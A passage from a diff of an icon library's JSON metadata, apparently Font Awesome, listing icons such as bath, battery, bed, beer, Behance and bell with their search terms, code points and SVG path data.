43.3-81.2 44.8-131.2zM248 222L405.9 64.1c-42.4-35-93.6-53.5-145.5-56.1-1.2 63.9-21.5 122.3-58.7 167.7L248 222zM56.1 98.1c-29.7 36-47.5 78.4-53.8 122.2 50-1.5 95.5-17 131.2-44.8L56.1 98.1zm272.2 204.2c45.3-37.1 103.7-57.4 167.7-58.7-2.6-51.9-21.1-103.1-56.1-145.5L282 256l46.3 46.3zM248 290L90.1 447.9c42.4 34.9 93.6 53.5 145.5 56.1 1.3-64 21.6-122.4 58.7-167.7L248 290zm191.9 123.9c29.7-36 47.5-78.4 53.8-122.2-50.1 1.6-95.5 17.1-131.2 44.8l77.4 77.4zM167.7 209.7C122.3 246.9 63.9 267.3 0 268.4c2.6 51.9 21.1 103.1 56.1 145.5L214 256l-46.3-46.3zm116 292c43.8-6.3 86.2-24.1 122.2-53.8l-77.4-77.4c-27.7 35.7-43.2 81.2-44.8 131.2z" + } + }, + "free": [ + "solid" + ] + }, + "bath": { + "changes": [ + "4.7", + "5.0.0", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "clean", + "shower", + "tub", + "wash" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2cd", + "label": "Bath", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635333, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32,384a95.4,95.4,0,0,0,32,71.09V496a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V480H384v16a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V455.09A95.4,95.4,0,0,0,480,384V336H32ZM496,256H80V69.25a21.26,21.26,0,0,1,36.28-15l19.27,19.26c-13.13,29.88-7.61,59.11,8.62,79.73l-.17.17A16,16,0,0,0,144,176l11.31,11.31a16,16,0,0,0,22.63,0L283.31,81.94a16,16,0,0,0,0-22.63L272,48a16,16,0,0,0-22.62,0l-.17.17c-20.62-16.23-49.83-21.75-79.73-8.62L150.22,20.28A69.25,69.25,0,0,0,32,69.25V256H16A16,16,0,0,0,0,272v16a16,16,0,0,0,16,16H496a16,16,0,0,0,16-16V272A16,16,0,0,0,496,256Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M32,384a95.4,95.4,0,0,0,32,71.09V496a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V480H384v16a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V455.09A95.4,95.4,0,0,0,480,384V336H32ZM496,256H80V69.25a21.26,21.26,0,0,1,36.28-15l19.27,19.26c-13.13,29.88-7.61,59.11,8.62,79.73l-.17.17A16,16,0,0,0,144,176l11.31,11.31a16,16,0,0,0,22.63,0L283.31,81.94a16,16,0,0,0,0-22.63L272,48a16,16,0,0,0-22.62,0l-.17.17c-20.62-16.23-49.83-21.75-79.73-8.62L150.22,20.28A69.25,69.25,0,0,0,32,69.25V256H16A16,16,0,0,0,0,272v16a16,16,0,0,0,16,16H496a16,16,0,0,0,16-16V272A16,16,0,0,0,496,256Z" + } + }, + "free": [ + "solid" + ] + }, + "battery-empty": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "charge", + "dead", + "power", + "status" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f244", + "label": "Battery Empty", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635333, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48z" + } + }, + "free": [ + "solid" + ] + }, + "battery-full": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "charge", + "power", + "status" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f240", + "label": "Battery Full", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635334, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-48 96H96v128h416V192z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-48 96H96v128h416V192z" + } + }, + "free": [ + "solid" + ] + }, + "battery-half": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "charge", + "power", + "status" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f242", + "label": "Battery 1/2 Full", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635334, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-240 96H96v128h224V192z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-240 96H96v128h224V192z" + } + }, + "free": [ + "solid" + ] + }, + "battery-quarter": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "charge", + "low", + "power", + "status" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f243", + "label": "Battery 1/4 Full", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635334, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-336 96H96v128h128V192z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-336 96H96v128h128V192z" + } + }, + "free": [ + "solid" + ] + }, + "battery-three-quarters": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "charge", + "power", + "status" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f241", + "label": "Battery 3/4 Full", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635335, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-144 96H96v128h320V192z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-144 96H96v128h320V192z" + } + }, + "free": [ + "solid" + ] + }, + "battle-net": { + "changes": [ + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f835", + "label": "Battle.net", + "svg": { + "brands": { + "last_modified": 1558987775893, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448.61 225.62c26.87.18 35.57-7.43 38.92-12.37 12.47-16.32-7.06-47.6-52.85-71.33 17.76-33.58 30.11-63.68 36.34-85.3 3.38-11.83 1.09-19 .45-20.25-1.72 10.52-15.85 48.46-48.2 100.05-25-11.22-56.52-20.1-93.77-23.8-8.94-16.94-34.88-63.86-60.48-88.93C252.18 7.14 238.7 1.07 228.18.22h-.05c-13.83-1.55-22.67 5.85-27.4 11-17.2 18.53-24.33 48.87-25 84.07-7.24-12.35-17.17-24.63-28.5-25.93h-.18c-20.66-3.48-38.39 29.22-36 81.29-38.36 1.38-71 5.75-93 11.23-9.9 2.45-16.22 7.27-17.76 9.72 1-.38 22.4-9.22 111.56-9.22 5.22 53 29.75 101.82 26 93.19-9.73 15.4-38.24 62.36-47.31 97.7-5.87 22.88-4.37 37.61.15 47.14 5.57 12.75 16.41 16.72 23.2 18.26 25 5.71 55.38-3.63 86.7-21.14-7.53 12.84-13.9 28.51-9.06 39.34 7.31 19.65 44.49 18.66 88.44-9.45 20.18 32.18 40.07 57.94 55.7 74.12a39.79 39.79 0 0 0 8.75 7.09c5.14 3.21 8.58 3.37 8.58 3.37-8.24-6.75-34-38-62.54-91.78 22.22-16 45.65-38.87 67.47-69.27 122.82 4.6 143.29-24.76 148-31.64 14.67-19.88 3.43-57.44-57.32-93.69zm-77.85 106.22c23.81-37.71 30.34-67.77 29.45-92.33 27.86 17.57 47.18 37.58 49.06 58.83 1.14 12.93-8.1 29.12-78.51 33.5zM216.9 387.69c9.76-6.23 19.53-13.12 29.2-20.49 6.68 13.33 13.6 26.1 20.6 38.19-40.6 21.86-68.84 12.76-49.8-17.7zm215-171.35c-10.29-5.34-21.16-10.34-32.38-15.05a722.459 722.459 0 0 0 22.74-36.9c39.06 24.1 45.9 53.18 9.64 51.95zM279.18 398c-5.51-11.35-11-23.5-16.5-36.44 43.25 1.27 62.42-18.73 63.28-20.41 0 .07-25 15.64-62.53 12.25a718.78 718.78 0 0 0 85.06-84q13.06-15.31 24.93-31.11c-.36-.29-1.54-3-16.51-12-51.7 60.27-102.34 98-132.75 115.92-20.59-11.18-40.84-31.78-55.71-61.49-20-39.92-30-82.39-31.57-116.07 12.3.91 25.27 2.17 38.85 3.88-22.29 36.8-14.39 63-13.47 64.23 0-.07-.95-29.17 20.14-59.57a695.23 695.23 0 0 0 44.67 152.84c.93-.38 1.84.88 18.67-8.25-26.33-74.47-33.76-138.17-34-173.43 20-12.42 48.18-19.8 81.63-17.81 44.57 2.67 86.36 15.25 116.32 30.71q-10.69 15.66-23.33 32.47C365.63 152 339.1 145.84 337.5 146c.11 0 25.9 14.07 41.52 47.22a717.63 717.63 0 0 0-115.34-31.71 646.608 646.608 0 0 0-39.39-6.05c-.07.45-1.81 1.85-2.16 20.33C300 190.28 358.78 215.68 389.36 233c.74 23.55-6.95 51.61-25.41 79.57-24.6 37.31-56.39 67.23-84.77 85.43zm27.4-287c-44.56-1.66-73.58 7.43-94.69 20.67 2-52.3 21.31-76.38 38.21-75.28C267 52.15 305 108.55 306.58 111zm-130.65 3.1c.48 12.11 1.59 24.62 3.21 37.28-14.55-.85-28.74-1.25-42.4-1.26-.08 3.24-.12-51 24.67-49.59h.09c5.76 1.09 10.63 6.88 14.43 13.57zm-28.06 162c20.76 39.7 43.3 60.57 65.25 72.31-46.79 24.76-77.53 20-84.92 4.51-.2-.21-11.13-15.3 19.67-76.81zm210.06 74.8\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M448.61 225.62c26.87.18 35.57-7.43 38.92-12.37 12.47-16.32-7.06-47.6-52.85-71.33 17.76-33.58 30.11-63.68 36.34-85.3 3.38-11.83 1.09-19 .45-20.25-1.72 10.52-15.85 48.46-48.2 100.05-25-11.22-56.52-20.1-93.77-23.8-8.94-16.94-34.88-63.86-60.48-88.93C252.18 7.14 238.7 1.07 228.18.22h-.05c-13.83-1.55-22.67 5.85-27.4 11-17.2 18.53-24.33 48.87-25 84.07-7.24-12.35-17.17-24.63-28.5-25.93h-.18c-20.66-3.48-38.39 29.22-36 81.29-38.36 1.38-71 5.75-93 11.23-9.9 2.45-16.22 7.27-17.76 9.72 1-.38 22.4-9.22 111.56-9.22 5.22 53 29.75 101.82 26 93.19-9.73 15.4-38.24 62.36-47.31 97.7-5.87 22.88-4.37 37.61.15 47.14 5.57 12.75 16.41 16.72 23.2 18.26 25 5.71 55.38-3.63 86.7-21.14-7.53 12.84-13.9 28.51-9.06 39.34 7.31 19.65 44.49 18.66 88.44-9.45 20.18 32.18 40.07 57.94 55.7 74.12a39.79 39.79 0 0 0 8.75 7.09c5.14 3.21 8.58 3.37 8.58 3.37-8.24-6.75-34-38-62.54-91.78 22.22-16 45.65-38.87 67.47-69.27 122.82 4.6 143.29-24.76 148-31.64 14.67-19.88 3.43-57.44-57.32-93.69zm-77.85 106.22c23.81-37.71 30.34-67.77 29.45-92.33 27.86 17.57 47.18 37.58 49.06 58.83 1.14 12.93-8.1 29.12-78.51 33.5zM216.9 387.69c9.76-6.23 19.53-13.12 29.2-20.49 6.68 13.33 13.6 26.1 20.6 38.19-40.6 21.86-68.84 12.76-49.8-17.7zm215-171.35c-10.29-5.34-21.16-10.34-32.38-15.05a722.459 722.459 0 0 0 22.74-36.9c39.06 24.1 45.9 53.18 9.64 51.95zM279.18 398c-5.51-11.35-11-23.5-16.5-36.44 43.25 1.27 62.42-18.73 63.28-20.41 0 .07-25 15.64-62.53 12.25a718.78 718.78 0 0 0 85.06-84q13.06-15.31 24.93-31.11c-.36-.29-1.54-3-16.51-12-51.7 60.27-102.34 98-132.75 115.92-20.59-11.18-40.84-31.78-55.71-61.49-20-39.92-30-82.39-31.57-116.07 12.3.91 25.27 2.17 38.85 3.88-22.29 36.8-14.39 63-13.47 64.23 0-.07-.95-29.17 20.14-59.57a695.23 695.23 0 0 0 44.67 152.84c.93-.38 1.84.88 18.67-8.25-26.33-74.47-33.76-138.17-34-173.43 20-12.42 48.18-19.8 81.63-17.81 44.57 2.67 86.36 15.25 116.32 30.71q-10.69 15.66-23.33 32.47C365.63 152 339.1 145.84 337.5 146c.11 0 25.9 14.07 41.52 47.22a717.63 717.63 0 0 0-115.34-31.71 646.608 646.608 0 0 0-39.39-6.05c-.07.45-1.81 1.85-2.16 20.33C300 190.28 358.78 215.68 389.36 233c.74 23.55-6.95 51.61-25.41 79.57-24.6 37.31-56.39 67.23-84.77 85.43zm27.4-287c-44.56-1.66-73.58 7.43-94.69 20.67 2-52.3 21.31-76.38 38.21-75.28C267 52.15 305 108.55 306.58 111zm-130.65 3.1c.48 12.11 1.59 24.62 3.21 37.28-14.55-.85-28.74-1.25-42.4-1.26-.08 3.24-.12-51 24.67-49.59h.09c5.76 1.09 10.63 6.88 14.43 13.57zm-28.06 162c20.76 39.7 43.3 60.57 65.25 72.31-46.79 24.76-77.53 20-84.92 4.51-.2-.21-11.13-15.3 19.67-76.81zm210.06 74.8" + } + }, + "free": [ + "brands" + ] + }, + "bed": { + "changes": [ + "4.3", + "5.0.0", + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "lodging", + "mattress", + "rest", + "sleep", + "travel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f236", + "label": "Bed", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635336, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M176 256c44.11 0 80-35.89 80-80s-35.89-80-80-80-80 35.89-80 80 35.89 80 80 80zm352-128H304c-8.84 0-16 7.16-16 16v144H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v352c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h512v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V240c0-61.86-50.14-112-112-112z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M176 256c44.11 0 80-35.89 80-80s-35.89-80-80-80-80 35.89-80 80 35.89 80 80 80zm352-128H304c-8.84 0-16 7.16-16 16v144H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v352c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h512v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V240c0-61.86-50.14-112-112-112z" + } + }, + "free": [ + "solid" + ] + }, + "beer": { + "changes": [ + "3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "alcohol", + "ale", + "bar", + "beverage", + "brewery", + "drink", + "lager", + "liquor", + "mug", + "stein" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0fc", + "label": "beer", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635337, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M368 96h-48V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56v400c0 13.255 10.745 24 24 24h272c13.255 0 24-10.745 24-24v-42.11l80.606-35.977C429.396 365.063 448 336.388 448 304.86V176c0-44.112-35.888-80-80-80zm16 208.86a16.018 16.018 0 0 1-9.479 14.611L320 343.805V160h48c8.822 0 16 7.178 16 16v128.86zM208 384c-8.836 0-16-7.164-16-16V144c0-8.836 7.164-16 16-16s16 7.164 16 16v224c0 8.836-7.164 16-16 16zm-96 0c-8.836 0-16-7.164-16-16V144c0-8.836 7.164-16 16-16s16 7.164 16 16v224c0 8.836-7.164 16-16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M368 96h-48V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56v400c0 13.255 10.745 24 24 24h272c13.255 0 24-10.745 24-24v-42.11l80.606-35.977C429.396 365.063 448 336.388 448 304.86V176c0-44.112-35.888-80-80-80zm16 208.86a16.018 16.018 0 0 1-9.479 14.611L320 343.805V160h48c8.822 0 16 7.178 16 16v128.86zM208 384c-8.836 0-16-7.164-16-16V144c0-8.836 7.164-16 16-16s16 7.164 16 16v224c0 8.836-7.164 16-16 16zm-96 0c-8.836 0-16-7.164-16-16V144c0-8.836 7.164-16 16-16s16 7.164 16 16v224c0 8.836-7.164 16-16 16z" + } + }, + "free": [ + "solid" + ] + }, + "behance": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1b4", + "label": "Behance", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860968, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M232 237.2c31.8-15.2 48.4-38.2 48.4-74 0-70.6-52.6-87.8-113.3-87.8H0v354.4h171.8c64.4 0 124.9-30.9 124.9-102.9 0-44.5-21.1-77.4-64.7-89.7zM77.9 135.9H151c28.1 0 53.4 7.9 53.4 40.5 0 30.1-19.7 42.2-47.5 42.2h-79v-82.7zm83.3 233.7H77.9V272h84.9c34.3 0 56 14.3 56 50.6 0 35.8-25.9 47-57.6 47zm358.5-240.7H376V94h143.7v34.9zM576 305.2c0-75.9-44.4-139.2-124.9-139.2-78.2 0-131.3 58.8-131.3 135.8 0 79.9 50.3 134.7 131.3 134.7 61.3 0 101-27.6 120.1-86.3H509c-6.7 21.9-34.3 33.5-55.7 33.5-41.3 0-63-24.2-63-65.3h185.1c.3-4.2.6-8.7.6-13.2zM390.4 274c2.3-33.7 24.7-54.8 58.5-54.8 35.4 0 53.2 20.8 56.2 54.8H390.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M232 237.2c31.8-15.2 48.4-38.2 48.4-74 0-70.6-52.6-87.8-113.3-87.8H0v354.4h171.8c64.4 0 124.9-30.9 124.9-102.9 0-44.5-21.1-77.4-64.7-89.7zM77.9 135.9H151c28.1 0 53.4 7.9 53.4 40.5 0 30.1-19.7 42.2-47.5 42.2h-79v-82.7zm83.3 233.7H77.9V272h84.9c34.3 0 56 14.3 56 50.6 0 35.8-25.9 47-57.6 47zm358.5-240.7H376V94h143.7v34.9zM576 305.2c0-75.9-44.4-139.2-124.9-139.2-78.2 0-131.3 58.8-131.3 135.8 0 79.9 50.3 134.7 131.3 134.7 61.3 0 101-27.6 120.1-86.3H509c-6.7 21.9-34.3 33.5-55.7 33.5-41.3 0-63-24.2-63-65.3h185.1c.3-4.2.6-8.7.6-13.2zM390.4 274c2.3-33.7 24.7-54.8 58.5-54.8 35.4 0 53.2 20.8 56.2 54.8H390.4z" + } + }, + "free": [ + "brands" + ] + }, + "behance-square": { + "changes": [ + "4.1", + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1b5", + "label": "Behance Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860968, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M186.5 293c0 19.3-14 25.4-31.2 25.4h-45.1v-52.9h46c18.6.1 30.3 7.8 30.3 27.5zm-7.7-82.3c0-17.7-13.7-21.9-28.9-21.9h-39.6v44.8H153c15.1 0 25.8-6.6 25.8-22.9zm132.3 23.2c-18.3 0-30.5 11.4-31.7 29.7h62.2c-1.7-18.5-11.3-29.7-30.5-29.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM271.7 185h77.8v-18.9h-77.8V185zm-43 110.3c0-24.1-11.4-44.9-35-51.6 17.2-8.2 26.2-17.7 26.2-37 0-38.2-28.5-47.5-61.4-47.5H68v192h93.1c34.9-.2 67.6-16.9 67.6-55.9zM380 280.5c0-41.1-24.1-75.4-67.6-75.4-42.4 0-71.1 31.8-71.1 73.6 0 43.3 27.3 73 71.1 73 33.2 0 54.7-14.9 65.1-46.8h-33.7c-3.7 11.9-18.6 18.1-30.2 18.1-22.4 0-34.1-13.1-34.1-35.3h100.2c.1-2.3.3-4.8.3-7.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M186.5 293c0 19.3-14 25.4-31.2 25.4h-45.1v-52.9h46c18.6.1 30.3 7.8 30.3 27.5zm-7.7-82.3c0-17.7-13.7-21.9-28.9-21.9h-39.6v44.8H153c15.1 0 25.8-6.6 25.8-22.9zm132.3 23.2c-18.3 0-30.5 11.4-31.7 29.7h62.2c-1.7-18.5-11.3-29.7-30.5-29.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM271.7 185h77.8v-18.9h-77.8V185zm-43 110.3c0-24.1-11.4-44.9-35-51.6 17.2-8.2 26.2-17.7 26.2-37 0-38.2-28.5-47.5-61.4-47.5H68v192h93.1c34.9-.2 67.6-16.9 67.6-55.9zM380 280.5c0-41.1-24.1-75.4-67.6-75.4-42.4 0-71.1 31.8-71.1 73.6 0 43.3 27.3 73 71.1 73 33.2 0 54.7-14.9 65.1-46.8h-33.7c-3.7 11.9-18.6 18.1-30.2 18.1-22.4 0-34.1-13.1-34.1-35.3h100.2c.1-2.3.3-4.8.3-7.2z" + } + }, + "free": [ + "brands" + ] + }, + "bell": { + "changes": [ + "2", + "5.0.0", + "5.2.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "alarm", + "alert", + "chime", + "notification", + "reminder" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f0f3", + "label": "bell", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635339, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 512c35.32 0 63.97-28.65 63.97-64H160.03c0 35.35 28.65 64 63.97 64zm215.39-149.71c-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84C118.56 68.1 64.08 130.3 64.08 208c0 102.3-36.15 133.53-55.47 154.29-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h383.8c19.12 0 32-15.6 32.1-32 .05-7.55-2.61-15.27-8.61-21.71z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M224 512c35.32 0 63.97-28.65 63.97-64H160.03c0 35.35 28.65 64 63.97 64zm215.39-149.71c-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84C118.56 68.1 64.08 130.3 64.08 208c0 102.3-36.15 133.53-55.47 154.29-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h383.8c19.12 0 32-15.6 32.1-32 .05-7.55-2.61-15.27-8.61-21.71z" + }, + "regular": { + "last_modified": 1628088634681, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M439.39 362.29c-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84C118.56 68.1 64.08 130.3 64.08 208c0 102.3-36.15 133.53-55.47 154.29-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h383.8c19.12 0 32-15.6 32.1-32 .05-7.55-2.61-15.27-8.61-21.71zM67.53 368c21.22-27.97 44.42-74.33 44.53-159.42 0-.2-.06-.38-.06-.58 0-61.86 50.14-112 112-112s112 50.14 112 112c0 .2-.06.38-.06.58.11 85.1 23.31 131.46 44.53 159.42H67.53zM224 512c35.32 0 63.97-28.65 63.97-64H160.03c0 35.35 28.65 64 63.97 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M439.39 362.29c-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84C118.56 68.1 64.08 130.3 64.08 208c0 102.3-36.15 133.53-55.47 154.29-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h383.8c19.12 0 32-15.6 32.1-32 .05-7.55-2.61-15.27-8.61-21.71zM67.53 368c21.22-27.97 44.42-74.33 44.53-159.42 0-.2-.06-.38-.06-.58 0-61.86 50.14-112 112-112s112 50.14 112 112c0 .2-.06.38-.06.58.11 85.1 23.31 131.46 44.53 159.42H67.53zM224 512c35.32 0 63.97-28.65 63.97-64H160.03c0 35.35 28.65 64 63.97 64z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "bell-slash": { + "changes": [ + "4.2", + "5.0.0", + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "alert", + "cancel", + "disabled", + "notification", + "off", + "reminder" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f1f6", + "label": "Bell Slash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635339, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M633.82 458.1l-90.62-70.05c.19-1.38.8-2.66.8-4.06.05-7.55-2.61-15.27-8.61-21.71-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84c-40.33 8.38-74.66 31.07-97.59 62.57L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.35 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.42-6.97 4.17-17.02-2.81-22.45zM157.23 251.54c-8.61 67.96-36.41 93.33-52.62 110.75-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h241.92L157.23 251.54zM320 512c35.32 0 63.97-28.65 63.97-64H256.03c0 35.35 28.65 64 63.97 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M633.82 